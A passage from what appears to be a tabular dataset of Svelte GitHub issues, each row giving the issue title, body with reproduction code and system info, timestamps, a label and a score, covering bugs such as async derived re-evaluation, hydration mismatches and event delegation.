https://svelte.dev/playground/hello-world#H4sIAAAAAAAACoWRQW-cMBCF_8rIjQRIBO50F6nNIT300EN7Kj148QCjmjGyh92NEP-9cqHZpErVgw8znm_s996iWI-oKvUJrXVwcd4aSNGQoMlUrjqyGFT1fVHyNMW52FD5H-rDNBXhjFZi76QDvtVvHQuyBFWpQ2g9TVI33AiNk_MCDwNZA513IyRF-bva0eR9ww0DlCV8HSiADk_cgkFPZzRADJP2yALiqe_RB5AB4TT3kWkdB4HgRpSBuIcj3O1gqi-aBL54N1LAwmNw9oxpIhgkybIIx2NRQLdCZ4xsEC2YJnHfPZkka_hQ3qTw8o66fXqN8GETRea47F0o64aXkro1zh9Os4hjcNxaan8elzSDY317b2aDHTGatX6wLuCh3IBa5UrwKqoSP-Oa_yOVlya-zuWvmzeT2bQvQAbWqH3ybgrpszFlCZ9dHyB5_mQCjmHm0c0scA8fvz3eEjBa9P_NJ5MVMiCn12jDEvFtgbNYWNenybQRsBMGLiRDleRwzbZpjzJ7hmus1uxlQK89-5Er0WQvxEZVnbYB118wLu67BAMAAA

```svelte
<!-- Parent.svelte -->
<script>
  // This async derived in parent triggers the bug
  const something = $derived(await Promise.resolve('test'))
  
  let active = $state('some-id')
</script>

{#if active}
  <Child id={active} />
{/if}

<button onclick={() => active = undefined}>Close</button>

<!-- Child.svelte -->
<script>
  let { id } = $props()
  
  // Logs 'undefined' on unmount - BUG
  const data = $derived(await Promise.resolve(id).then(x => {
    console.log('promise resolved with:', x)
    return x
  }))
</script>
```

### Logs

```shell
promise resolved with: some-id
promise resolved with: undefined
```

### System Info

```shell
svelte 5.49.1
```

### Severity

blocking an upgrade",,2026-01-30 14:32:24+00:00,2026-02-04 09:28:33+00:00,3,nan,4.789,async derived in child re evaluates with props on unmount when parent has async derived describe the bug the bug only occurs when the parent component has an async derived without it the child unmounts cleanly reproduction logs system info severity blocking an upgrade,others,-0.8225
sveltejs/svelte,3868416700,non_reactive_update incorrectly flags SvelteSet and SvelteMap when mutated through binding,"### Describe the bug

The non_reactive_update warning incorrectly flags SvelteSet and SvelteMap (from svelte/reactivity) as non-reactive when they are mutated by external functions, such as a binding.

### Reproduction

playground: https://svelte.dev/playground/10cc824e10ec4fb39aa357568c23f294?version=5.48.5

note that `foo` is squigglied.

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (16) arm64 Apple M4 Max
    Memory: 68.96 GB / 128.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 25.2.1 - /opt/homebrew/bin/node
    npm: 11.6.2 - /opt/homebrew/bin/npm
  Browsers:
    Chrome: 144.0.7559.97
    Firefox: 147.0
    Safari: 26.1
```

### Severity

annoyance",,2026-01-29 02:36:54+00:00,2026-01-29 11:15:16+00:00,5,nan,0.36,non reactive update incorrectly flags svelteset and sveltemap when mutated through binding describe the bug the non reactive update warning incorrectly flags svelteset and sveltemap from svelte reactivity as non reactive when they are mutated by external functions such as a binding reproduction playground note that is squigglied logs system info severity annoyance,others,-0.7717
sveltejs/svelte,3867965448,Suggestion: Improve beginner onboarding documentation,"### Describe the problem

Hi 👋

While exploring the Svelte documentation as a newcomer, I noticed that it can feel slightly overwhelming at first, especially for people who are completely new to modern frontend frameworks.

It may not always be clear where absolute beginners should start or which concepts they should learn first.


### Describe the proposed solution

It could be helpful to have a short “Getting Started for Absolute Beginners” section that:

• briefly explains what Svelte is in simple terms  
• suggests a recommended learning path  
• links to the most important beginner-friendly guides  

This might make onboarding smoother for new developers discovering Svelte for the first time.

Thanks for all the great work on the project! 🚀


### Importance

nice to have",,2026-01-29 00:02:39+00:00,2026-01-29 02:43:19+00:00,4,nan,0.1116,suggestion improve beginner onboarding documentation describe the problem hi while exploring the svelte documentation as a newcomer i noticed that it can feel slightly overwhelming at first especially for people who are completely new to modern frontend frameworks it may not always be clear where absolute beginners should start or which concepts they should learn first describe the proposed solution it could be helpful to have a short getting started for absolute beginners section that briefly explains what svelte is in simple terms suggests a recommended learning path links to the most important beginner friendly guides this might make onboarding smoother for new developers discovering svelte for the first time thanks for all the great work on the project importance nice to have,documentation,0.9673
sveltejs/svelte,3867947610,Hydration mismatch when text node exceeds 65536 characters in Chrome,"### Describe the bug

I'm getting a hydration mismatch warning when rendering text content larger than 65536 characters (2^16). This appears to be caused by browsers automatically splitting large text nodes into multiple smaller DOM nodes during HTML parsing.

### Reproduction

  **Minimal reproduction:**

`+page.server.ts`:
```ts
export const load = () => ({ text: 'a'.repeat(65537) });
```

`+page.svelte`:
```ts
<script>
  let { data } = $props();
</script>

{data.text}
```

[StackBlitz Reproduction](https://stackblitz.com/edit/sveltejs-kit-template-default-2a6qyevg?file=src%2Froutes%2F%2Bpage.svelte)

### Logs

```Shell

```

### System Info

```Shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    @sveltejs/adapter-auto: ^7.0.0 => 7.0.0 
    @sveltejs/kit: ^2.48.5 => 2.50.1 
    @sveltejs/vite-plugin-svelte: ^6.2.1 => 6.2.4 
    svelte: ^5.43.8 => 5.48.5 
    vite: ^7.2.2 => 7.3.1
```

### Severity

annoyance

### Additional Information

_No response_",,2026-01-28 22:41:42+00:00,2026-01-30 01:40:41+00:00,1,nan,1.1243,hydration mismatch when text node exceeds characters in chrome describe the bug i m getting a hydration mismatch warning when rendering text content larger than characters this appears to be caused by browsers automatically splitting large text nodes into multiple smaller dom nodes during html parsing reproduction stackblitz reproduction logs system info severity annoyance additional information no response,others,-0.836
sveltejs/svelte,3865941763,assignment_value_stale should disregard primitives,"### Describe the bug

The https://svelte.dev/docs/svelte/runtime-warnings#Client-warnings-assignment_value_stale warning is intended to avoid a specific issue around state proxies, but it also fires — incorrectly, in my view — when dealing with primitives

### Reproduction

[playground](https://svelte.dev/playground/hello-world?version=5.48.5#H4sIAAAAAAAAE22QwW7CMAyGXyXKqZW2wq6hReK2y267rTukiaERwYlcZ4CqvvvSAtom7egvzuffHiXqE0glX8H7IM6BvBUFWMdgS_kk987DINXHKPka574ZZH7_tYuxGr7A88w6PcB_3ARkQM4aWQ-GXORtiy3vExp2AUWKVjMUGCyUYpyfWibgRChmVg189VCFqI3jq2jEm-a-Io02nIpyM_dPLdarHzXWXWLOZk1OP3vdgW9aabwzR3GCVoqAS9GMRZ7YbB8JoDKJKEd913QALqdtvbqZbtYlyJL97r-HPTvLvRIv63W8bG6oB3fo-S_rtDkeKCS0ShDYBw1kgVReFeHXMsuofDyGC0vFlGD6zJV2_uzQSrXXfoDpG8H8cie_AQAA)
",,2026-01-28 15:16:05+00:00,2026-01-28 19:23:28+00:00,0,nan,0.1718,assignment value stale should disregard primitives describe the bug the warning is intended to avoid a specific issue around state proxies but it also fires incorrectly in my view when dealing with primitives reproduction playground,others,-0.4854
sveltejs/svelte,3865347079,General reactivity issues,"### Describe the bug

I have an example repro where I have state that is derived from another, in a debounced manner. I also have a condition that depends on a remote function `query` promise loading, its results, and said derived state. I've put that condition in a derived, and have an #if block with it. I can inspect and see that the condition changes, but the template is not consequently updated.

### Reproduction

https://gitea.thomas.rocks/thomas/reactivity-repro

Type text in the search bar. Wait a bit. Type again, without deleting the previous text. You'll see that the error does not get updated in the template as it should.

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.12 EndeavourOS
    CPU: (32) x64 AMD Ryzen 9 7950X3D 16-Core Processor
    Memory: 50.24 GB / 61.96 GB
    Container: Yes
    Shell: 4.2.1 - /usr/bin/fish
  Binaries:
    Node: 24.12.0 - /home/thomasgl/.volta/tools/image/node/24.12.0/bin/node
    Yarn: 4.12.0 - /home/thomasgl/.volta/tools/image/yarn/4.12.0/bin/yarn
    npm: 11.6.2 - /home/thomasgl/.volta/tools/image/node/24.12.0/bin/npm
    pnpm: 10.26.1 - /home/thomasgl/.volta/bin/pnpm
    bun: 1.3.3 - /home/thomasgl/.bun/bin/bun
  Browsers:
    Firefox: 146.0
    Firefox Developer Edition: 146.0
  npmPackages:
    svelte: ^5.48.5 => 5.48.5
```

### Severity

blocking all usage of svelte",,2026-01-28 13:00:53+00:00,2026-04-06 16:11:09+00:00,4,nan,68.1321,general reactivity issues describe the bug i have an example repro where i have state that is derived from another in a debounced manner i also have a condition that depends on a remote function promise loading its results and said derived state i ve put that condition in a derived and have an if block with it i can inspect and see that the condition changes but the template is not consequently updated reproduction type text in the search bar wait a bit type again without deleting the previous text you ll see that the error does not get updated in the template as it should logs system info severity blocking all usage of svelte,bug,-0.8658
sveltejs/svelte,3864972614,`createContext` behaves differently between client and server,"### Describe the bug

While the [client implementation of `createContext`](https://github.com/sveltejs/svelte/blob/06e6ef83b801a3ca014af4629abad76ac2d35eef/packages/svelte/src/internal/client/context.js#L81) throws `e.missing_context()` if the context hasn't been set, the [server implementation](https://github.com/sveltejs/svelte/blob/06e6ef83b801a3ca014af4629abad76ac2d35eef/packages/svelte/src/internal/server/context.js#L20) returns the result of of `getContext` directly, so it returns undefined rather than throwing if the context hasn't been set.

This can lead to subtle bugs, for example catching the error to provide a default value works on the client but silently fails on the server. The `get()` type signature is also wrong for server code where undefined can sneak past the types.

I hit this using optional context to manage heading levels. The server rendered different tags than the client, making for a funky heading tree and hydration mismatches.

Making both throw aligns with [documented behaviour](https://svelte.dev/docs/svelte/svelte#createContext). But would making a function start throwing count as a breaking change? I'm happy to pitch in with a PR once I know what approach to take.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-qpa5xs1r?file=README.md

### System Info

```shell
From the repro:
  System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 -... [TRUNCATED]",,2026-01-28 11:31:41+00:00,2026-01-29 00:28:40+00:00,0,nan,0.5396,behaves differently between client and server describe the bug while the client implementation of throws if the context hasn t been set the server implementation returns the result of of directly so it returns undefined rather than throwing if the context hasn t been set this can lead to subtle bugs for example catching the error to provide a default value works on the client but silently fails on the server the type signature is also wrong for server code where undefined can sneak past the types i hit this using optional context to manage heading levels the server rendered different tags than the client making for a funky heading tree and hydration mismatches making both throw aligns with documented behaviour but would making a function start throwing count as a breaking change i m happy to pitch in with a pr once i know what approach to take reproduction system info shell from the repro system os linux undefined cpu x intel r core tm i h cpu ghz memory bytes bytes shell truncated,others,-0.6908
sveltejs/svelte,3859006037,[bug]: {#if} block breaking when condition depends on exception from contained <svelte:boundary>,"### Describe the bug

when an `{#if}` block has the exception caught by a containing `<svelte:boundary>` as its condition, it breaks and displays its contents even though it's condition is falsy
```svelte
<script>
	import Child from './Child.svelte'

	let exception = $state();
	const onerror = (e) => {
		exception = e
	}
</script>

{#if !exception}
	<p>{!exception}</p>
	<svelte:boundary {onerror}>
		<!-- child that will throw an error -->
	  <Child />
	</svelte:boundary>
{/if}
```
Since `!exception` is the condition of the `{#if}` block, it's children should never be rendered when `exception` is truthy, but in the reproduction REPL below they are being rendered.

### Reproduction

https://svelte.dev/playground/748a8ef70b3646e5be1bbccb701dc598?version=5.48.3

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.7.3
    CPU: (11) arm64 Apple M3 Pro
    Memory: 334.23 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.2.0 - /Users/-/.local/state/fnm_multishells/2576_1769425412223/bin/node
    npm: 11.3.0 - /Users/-/.local/state/fnm_multishells/2576_1769425412223/bin/npm
    pnpm: 10.12.2 - /opt/homebrew/bin/pnpm
    Deno: 2.5.4 - /opt/homebrew/bin/deno
  Browsers:
    Chrome: 144.0.7559.97
    Safari: 18.6
```

### Severity

annoyance",,2026-01-27 06:15:08+00:00,2026-01-28 16:02:30+00:00,1,nan,1.4079,bug if block breaking when condition depends on exception from contained describe the bug when an block has the exception caught by a containing as its condition it breaks and displays its contents even though it s condition is falsy since is the condition of the block it s children should never be rendered when is truthy but in the reproduction repl below they are being rendered reproduction logs system info severity annoyance,bug,-0.8689
sveltejs/svelte,3858220784,[5.48.1] HierarchyRequestError during SSR,"### Describe the bug

v5.48.0 works fine, it has been introduced in the v5.48.1.
It happens only during SSR.

### Reproduction

It is related to `{#if}` but I don't know how to reproduce this bug for now.

### Logs

```shell
Uncaught (in promise) HierarchyRequestError: Failed to execute 'appendChild' on 'Node': This node type does not support this method.
```

### System Info

```shell
System:
    OS: Linux 5.15 Debian GNU/Linux 13 (trixie) 13 (trixie)
    CPU: (8) x64 Intel(R) Core(TM) i7-9700K CPU @ 3.60GHz
    Memory: 9.45 GB / 15.58 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    bun: 1.3.6 - /usr/local/bin/bun
  npmPackages:
    svelte: 5.48.1 => 5.48.1
```

### Severity

blocking an upgrade",awaiting submitter,2026-01-27 00:09:26+00:00,2026-01-27 18:39:52+00:00,1,awaiting submitter,0.7711,hierarchyrequesterror during ssr describe the bug v works fine it has been introduced in the v it happens only during ssr reproduction it is related to but i don t know how to reproduce this bug for now logs system info severity blocking an upgrade,bug,-0.8402
sveltejs/svelte,3856379806,Style attribute not setting via a variable when it ends with a semicolon,"### Describe the bug

When setting a style attribute using a variable and it ends with a semicolon, the attribute will not set and no error nor warning will be produced.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.48.2#H4sIAAAAAAAAA3WRwW7CMBBEf8W1KuGoYO4hiVT10gO3Vuqh6cHgBSwZO7I3oTTKv3dNoKgVVU6ZfTNj7fbcqT3wnD-DtZ4dfLCaCdAGQWd8yjfGQuT5e8_x2CQuCaSfXY9NI2MHFpO2UhFu6WvvEBxSDC_iOpgGq9rVaAEZpSEEVrL7iApB1BQSap4tfgMvyhk0X6ATqSGYDrRcHYXIWFmxPsEjHiASMpoWo2w2glSJfunXysLSHyA80UtFJqkzYHwzuBOT0ZNPsmy0pW9MS-7YriIG47ZXUFpwW9xl15q7_3rA6XPL4nY-e2A0Sknudy917sWlgvYYvQVpPT2DppNpYi7TANgGl5STMCS9mF_37QrjmhZZumNZc4RPrDnz7qSWPaRN_pwD5LoNgY72qsIWUHbKtjBQTKFNxyIeLeSz2YiX_Z8jDVUxJ6yi06cWnmMg8wf9KWMPxmmeb5SNMHwDcCngB30CAAA)

1. Type anything in the input field.
2. Observe inline styles via dev tools.

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.17 Ubuntu 25.10 25.10 (Questing Quokka)
    CPU: (16) x64 AMD Ryzen 7 5800X 8-Core Processor
    Memory: 2.32 GB / 31.27 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    Node: 24.7.0 - /home/aliser/.nvm/versions/node/v24.7.0/bin/node
    npm: 11.5.1 - /home/aliser/.nvm/versions/node/v24.7.0/bin/npm
    bun: 1.3.1 - /home/aliser/.bun/bin/bun
    Deno: 2.6.0 - /home/aliser/.deno/bin/deno
  npmPackages:
    svelte: ^5.45.6 => 5.48.2
```

### Severity

annoyance",,2026-01-26 15:12:16+00:00,2026-01-26 15:56:40+00:00,2,nan,0.0308,style attribute not setting via a variable when it ends with a semicolon describe the bug when setting a style attribute using a variable and it ends with a semicolon the attribute will not set and no error nor warning will be produced reproduction repl type anything in the input field observe inline styles via dev tools logs system info severity annoyance,others,-0.6571
sveltejs/svelte,3853564754,Referencing the same awaited derived value in {#if}/{#each} and component/snippet props causes `HierarchyRequestError`,"### Describe the bug

When you use an awaited derived value in {#if}/{#each} and then pass it as a prop to a component or a snippet inside the block, it throws `Uncaught (in promise) HierarchyRequestError: Failed to execute 'appendChild' on 'Node': This node type does not support this method.`.

```svelte
<script>
	const n = $derived(await Promise.resolve(1))
</script>

{#snippet foo(n)}
	<div>{n}</div>
{/snippet}

{#if n}
	<!-- throws `HierarchyRequestError` -->
	{@render foo(n)}
{/if}
```

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-n1wzmkzd?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell
Uncaught (in promise) HierarchyRequestError: Failed to execute 'appendChild' on 'Node': This node type does not support this method.
```

### System Info

```shell
Svelte: 5.48.2
Tested with Chrome and Firefox
```

### Severity

blocking an upgrade",,2026-01-25 17:12:31+00:00,2026-01-26 22:26:19+00:00,0,nan,1.2179,referencing the same awaited derived value in if each and component snippet props causes describe the bug when you use an awaited derived value in if each and then pass it as a prop to a component or a snippet inside the block it throws reproduction logs system info severity blocking an upgrade,bug,-0.5994
sveltejs/svelte,3851534782,Allow using a timing function as easing,"### Describe the problem

If you have a `cubic-bezier()` or `linear()` timing function, which browsers natively support, you can't use it as your Svelte transition's easing. Instead, you have to reimplement what the browser already has so Svelte can pass every time interval through your reimplementation given that it'll be rendered with linear easing.

### Describe the proposed solution

Allow using a string for easing, which will be forwarded to `.animate()`.

(Perhaps even, if [linear() has enough support](https://caniuse.com/?search=linear%28%29), convert existing function easing to a `linear()` timing function? May look slightly different from the current ""get exact value every frame"" way though)

### Importance

would make my life easier",transition/animation,2026-01-24 16:31:31+00:00,2026-01-26 22:59:55+00:00,1,transition/animation,2.2697,allow using a timing function as easing describe the problem if you have a or timing function which browsers natively support you can t use it as your svelte transition s easing instead you have to reimplement what the browser already has so svelte can pass every time interval through your reimplementation given that it ll be rendered with linear easing describe the proposed solution allow using a string for easing which will be forwarded to perhaps even if linear has enough support convert existing function easing to a timing function may look slightly different from the current get exact value every frame way though importance would make my life easier,others,0.9661
sveltejs/svelte,3851202352,fix: `wait` function not exported from internal client index causing runtime error in 5.48.1,"### Describe the bug

In Svelte 5.48.1, using `await` inside `$derived()` with `experimental.async: true` throws the error:

```
TypeError: $.wait is not a function. (In '$.wait([$$promises[20], $$promises[20]])', '$.wait' is undefined)
```

### Cause

PR #17461 added the `wait` function to `packages/svelte/src/internal/client/reactivity/async.js` and modified the compiler to generate `$.wait()` calls:

```diff
+			run.thunks.push(b.thunk(b.call('$.wait', b.array(blockers))));
```

However, the `wait` function was **never exported from `packages/svelte/src/internal/client/index.js`**.

The function exists at line 300 of `async.js`:
```js
export function wait(blockers) {
	return Promise.all(blockers.map((b) => b.promise));
}
```

But the exports from `async.js` in `index.js` are only:
```js
export {
	for_await_track_reactivity_loss,
	run,
	save,
	track_reactivity_loss,
	run_after_blockers
} from './reactivity/async.js';
```

### Reproduction

```svelte
<script>
  // svelte.config.js has compilerOptions.experimental.async: true
  
  async function getData() {
    return { name: 'test' };
  }
  
  const data = $derived(await getData());
</script>

{data.name}
```

### Expected behavior

The `wait` function should be exported from `index.js`:

```diff
export {
	for_await_track_reactivity_loss,
	run,
	save,
	track_reactivity_loss,
-	run_after_blockers
+	run_after_blockers,
+	wait
} from './reactivity/async.js';
```

### Workaround

Downgrade to Svelte 5.48.0 which does not have th... [TRUNCATED]",,2026-01-24 13:43:59+00:00,2026-01-24 14:37:05+00:00,1,nan,0.0369,function not exported from internal client index causing runtime error in describe the bug in svelte using inside with throws the error cause pr added the function to and modified the compiler to generate calls however the function was never exported from the function exists at line of but the exports from in are only reproduction the function should be exported from workaround downgrade to svelte which does not have th truncated,bug,-0.6124
sveltejs/svelte,3849027527,No a11y_no_static_element_interactions warning on pointer and touch events,"### Describe the bug

The [a11y_no_static_element_interactions](https://svelte.dev/docs/svelte/compiler-warnings#a11y_no_static_element_interactions) warning only triggers on mouse and drag events e.g. `onmousedown` or `ondrag` and does not trigger on `onpointerdown`, `onpointerenter`, `ontouchstart` and other pointer and touch events.

### Reproduction

REPL:
https://svelte.dev/playground/09bad25fc66e4007999432bc4c508a60?version=5.48.0

### Logs

```shell
N/A
```

### System Info

```shell
N/A
```

### Severity

annoyance",,2026-01-23 20:16:19+00:00,2026-01-26 23:00:14+00:00,0,nan,3.1138,no a y no static element interactions warning on pointer and touch events describe the bug the a y no static element interactions warning only triggers on mouse and drag events e g or and does not trigger on and other pointer and touch events reproduction repl logs system info severity annoyance,others,-0.9393
sveltejs/svelte,3842811599,Browser freeze for <svelte:boundary>,"### Describe the bug

When you load a page with a `<svelte:boundary>` and a slow `await`, and before the await finishes you attempt to start loading another `await`, the browser freezes. (I'm using Chrome)

This behavior started in Svelte 5.45.9. Svelte 5.45.8 works.

### Reproduction

Link for reproduction: https://svelte.dev/playground/f2263d72f7c84c4da304af33320ccd53?version=5.48.0

Click Page 2, then immediately click Page 1.

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

blocking an upgrade",,2026-01-22 12:51:31+00:00,2026-01-26 16:46:35+00:00,2,nan,4.1632,browser freeze for describe the bug when you load a page with a and a slow and before the await finishes you attempt to start loading another the browser freezes i m using chrome this behavior started in svelte svelte works reproduction link for reproduction click page then immediately click page logs system info severity blocking an upgrade,others,-0.7964
sveltejs/svelte,3842868900,Using `$inspect` rune with remote functions causes internal error in the build,"### Describe the bug

Using `$inspect` rune with remote functions in a page is causing internal error when the build is run.

### Reproduction

Enable experimental `async` and `remoteFunctions`
```typescript
import adapter from '@sveltejs/adapter-node';

/** @type {import('@sveltejs/kit').Config} */
const config = {
	kit: {
		adapter: adapter(),
		experimental: {
			remoteFunctions: true
		}
	},
	compilerOptions: {
		sourcemap: process.env.NODE_ENV === 'development',
		experimental: {
			async: true
		}
	}
};

export default config;
```

Create a remote function
```typescript
//$lib/remote/items.remote.js

import { query } from '$app/server';

export const getItem = query(() => {
	return {
		x: ""Hello World""
	}
});
```
 
Create `+page.svelte` file
```svelte
<script lang=""ts"">
    //./src/routes/items/+page.svelte
	import { getItem } from '$lib/remote/items.remote.js';

	const item = $derived(await getItem());
	let a = $state(5);
    //comment below line if the build has to work properly
	$inspect(a);
</script>

<br />

<button onclick={() => {a++}}>
	incr
</button>
<br />
{item.x}
<br />
{a}
```

- Run `pnpm build`
- Run `pnpm preview`
- Try to open http://[localhost:4173/items](http://localhost:4173/items) in browser
- Reproducable repo: [sukeshpabolu/remote-inspect-bug-app](https://github.com/sukeshpabolu/remote-inspect-bug-app)

### Logs

```Shell
[500] GET /items
TypeError: fn is not a function
    at file:///C:/Users/sukeshp/Documents/remote-inspect-bug-app/.svelte-kit/o... [TRUNCATED]",,2026-01-22 12:17:58+00:00,2026-03-17 11:49:29+00:00,4,nan,53.9802,using rune with remote functions causes internal error in the build describe the bug using rune with remote functions in a page is causing internal error when the build is run reproduction enable experimental and create a remote function create file run run try to open in browser reproducable repo sukeshpabolu remote inspect bug app logs shell get items typeerror fn is not a function at file c users sukeshp documents remote inspect bug app svelte kit o truncated,bug,-0.8957
sveltejs/svelte,3837736140,Looking forward to switching to TSGO,"### Describe the problem

TSC is slow

### Describe the proposed solution

TSGO is so much faster, how can we switch?

### Importance

would make my life easier",,2026-01-21 11:07:56+00:00,2026-01-21 11:30:04+00:00,1,nan,0.0154,looking forward to switching to tsgo describe the problem tsc is slow describe the proposed solution tsgo is so much faster how can we switch importance would make my life easier,others,0.2263
sveltejs/svelte,3836290901,getting error `name.toLowercase() is not a function` when using svelte-element this attribue,"### Describe the bug

I looked recenty at the [docs](https://svelte.dev/docs/svelte/svelte-element) and the [tutorial](https://svelte.dev/tutorial/svelte/svelte-element) which states: 

>The `this` value can be any string, or a falsy value — if it’s falsy, no element is rendered.

When trying to use `svelte-element` `this` attribute to hide an value based on if it is a boolean or not I get the error `name.toLowerCase() is not a function` from vite. I do not know what caused this but since it's from [here](https://github.com/sveltejs/svelte/blob/2eb54f57ae9b2411a40f10266133356ab647d907/packages/svelte/src/utils.js#L40), I assume that svelte is responsible for this error. 

Here I include a snippet of what I think caused the problem(since it doesn't trigger without it) and the error message from vite in the logs

### Reproduction

```svelte
<script lang=""ts"">
	type Options = {
		showYear: boolean;
		showMonth: boolean;
		headerNameLength: number;
		includeSwitchMonth: boolean;
	};
	type Props = {
		options?: Partial<Options>;
	};

	const defaultOption: Options = {
		showYear: true,
		showMonth: true,
		headerNameLength: 2,
		includeSwitchMonth: true,
	};

	let { options = defaultOption }: Props = $props();

	function option<K extends keyof Options>(option: K): Options[K] {
		return options[option] ?? defaultOption[option];
	}
</script>

<!-- Some other components -->
<svelte:element this={option(""includeSwitchMonth"")}>
	<!-- Some buttons -->
</svelte:element>


### Logs

```she... [TRUNCATED]",,2026-01-21 02:31:42+00:00,2026-01-21 23:40:10+00:00,1,nan,0.8809,getting error when using svelte element this attribue describe the bug i looked recenty at the docs and the tutorial which states the value can be any string or a falsy value if it s falsy no element is rendered when trying to use attribute to hide an value based on if it is a boolean or not i get the error from vite i do not know what caused this but since it s from here i assume that svelte is responsible for this error here i include a snippet of what i think caused the problem since it doesn t trigger without it and the error message from vite in the logs reproduction she truncated,bug,-0.9091
sveltejs/svelte,3835529727,Use `.equals()` to evaluate if a `$derived` should trigger recomputation of dependencies,"### Describe the problem

```typescript
let seedDateTemporal = $state(Temporal.PlainDate.from(""2026-01-01""));
const weekStartTemporal = $derived(
    seedDateTemporal.subtract({ days: seedDateTemporal.dayOfWeek }),
);
```

If `seedDateTemporal` is updated to Jan 2nd, any dependencies of `weekStartTemporal` will rerun even though the value hasn't changed, just the objects don't referentially match.

### Describe the proposed solution

It would be nice if, in addition to `===`, Svelte also check if the new derived object has an `.equals()` method.  If it does, pass the old value as the first parameter and if the response equals `true` then don't mark the children of the derived as dirty.

Something like this:
```javascript
function safeEqualsCheck(obj1, obj2) {
    try {
        if (obj1 === obj2 || obj1.equals(obj2) === true) {
            return true
        }
    } finally {
        return false
    }
}
```

### Importance

would make my life easier",,2026-01-20 21:27:11+00:00,2026-01-20 22:16:51+00:00,1,nan,0.0345,use to evaluate if a should trigger recomputation of dependencies describe the problem if is updated to jan nd any dependencies of will rerun even though the value hasn t changed just the objects don t referentially match describe the proposed solution it would be nice if in addition to svelte also check if the new derived object has an method if it does pass the old value as the first parameter and if the response equals then don t mark the children of the derived as dirty something like this importance would make my life easier,others,0.8879
sveltejs/svelte,3833593134,CSS hashes are unchanged even though output CSS is changed,"### Describe the bug

The CSS hash is, by default, computed based on the contents of `<style>`. But this isn't the only thing that determines the output CSS — if an element goes from unused to uses, the output CSS will reflect that but the hash won't.

In esoteric setups, this can mean that updated styles aren't applied to new elements

### Reproduction

Uncomment the `<h2>` [here](<https://svelte.dev/playground/hello-world?version=5.47.1#H4sIAAAAAAAAE22PsU7EMAyGX8VkAolyuo6lqoRY2G-kDKHxNZFcO2pcyqnqu5NejwUxWf78-Ze9GLYDmsq8IZHALCM5uEcXFN2DeTTnQJhM9b4YvcTN20Dmt62XGJ_SF5Ju7NMm_I93woqsOcbU_tgIY33IteWW67uigIk7GYZsgAokRHg9nUAmjZNC5y33CHNQnwl4m_zOAvdQFM0tovZlo7Pk3LLZcat5lPRCeG38EZYr1E5IxgriNEbC542t2yVZKf8ovZBDHsX9WvVhD8w_KX6rqXSccP3InQ00B3amOltKuP4AJ2WlzlYBAAA>) while the CSS Output tab is selected

```svelte
<h1>one</h1>

<!-- uncomment to see CSS output change without hash changing -->
<!-- <h2>two</h2> -->
	
<style>
	h1 {
		color: purple;
	}

	h2 {
		color: goldenrod;
	}
</style>
```",,2026-01-20 12:46:52+00:00,2026-01-20 13:48:41+00:00,3,nan,0.0429,css hashes are unchanged even though output css is changed describe the bug the css hash is by default computed based on the contents of but this isn t the only thing that determines the output css if an element goes from unused to uses the output css will reflect that but the hash won t in esoteric setups this can mean that updated styles aren t applied to new elements reproduction uncomment the here while the css output tab is selected,others,0.6187
sveltejs/svelte,3831669835,`unmount` breaks event delegation if event is already attached to `mount` target,"### Describe the bug

The `unmount` logic removes handlers from the target element, but if the target element is e.g. the `document.body` this can lead to event delegation no longer working properly.

For document listeners there is some logic that checks whether the listener is still needed but there is no check for the `target`.

https://github.com/sveltejs/svelte/blob/2eb54f57ae9b2411a40f10266133356ab647d907/packages/svelte/src/internal/client/render.js#L250-L262

Still, some fairly specific conditions need to be met for this bug to occur, e.g. with SvelteKit the default wrapper `div` in `app.html` seems to cause handlers to be attached there instead of on the body, so the issue disappears.

The component with the handler also needed a forwarding instruction (e.g. `on:click` in my case), otherwise the event handler did not exist before the `mount`. (I observed this issue with `carbon-components-svelte`, which ships in syntax for Svelte 3/4 compatibility, hence it has a lot of manual event forwarding.)

### Reproduction

[Playground](https://svelte.dev/playground/b060bdbc730d436696dbe72a5135698f?version=5.47.1)

<details>
<summary>Standalone code/steps</summary>

```svelte
<script>
	import { mount, unmount } from 'svelte';
	import Dialog from './dialog.svelte';
	import Button from './button.svelte';

	function onClick() {
		const dialog = mount(Dialog, {
			target: document.body,
			props: {},
			events: { close() { unmount(dialog); } },
		});
	}
</script>

<Button onclick=... [TRUNCATED]",,2026-01-20 01:26:13+00:00,2026-02-13 16:35:05+00:00,1,nan,24.6312,breaks event delegation if event is already attached to target describe the bug the logic removes handlers from the target element but if the target element is e g the this can lead to event delegation no longer working properly for document listeners there is some logic that checks whether the listener is still needed but there is no check for the still some fairly specific conditions need to be met for this bug to occur e g with sveltekit the default wrapper in seems to cause handlers to be attached there instead of on the body so the issue disappears the component with the handler also needed a forwarding instruction e g in my case otherwise the event handler did not exist before the i observed this issue with which ships in syntax for svelte compatibility hence it has a lot of manual event forwarding reproduction playground standalone code steps svelte import mount unmount from svelte import dialog from dialog svelte import button from button svelte function onclick const dialog mount dialog target document body props events close unmount dialog button onclick truncated,others,-0.9337
sveltejs/svelte,3825210745,let value = $derived(store.value) does not seem to work in all cases,"### Describe the bug

I have a store that contains an array

I update the array and call store.set, every subscriber to the store get the new value, no problem there

but now I want to use it via ` $derived` rune like so

```ts
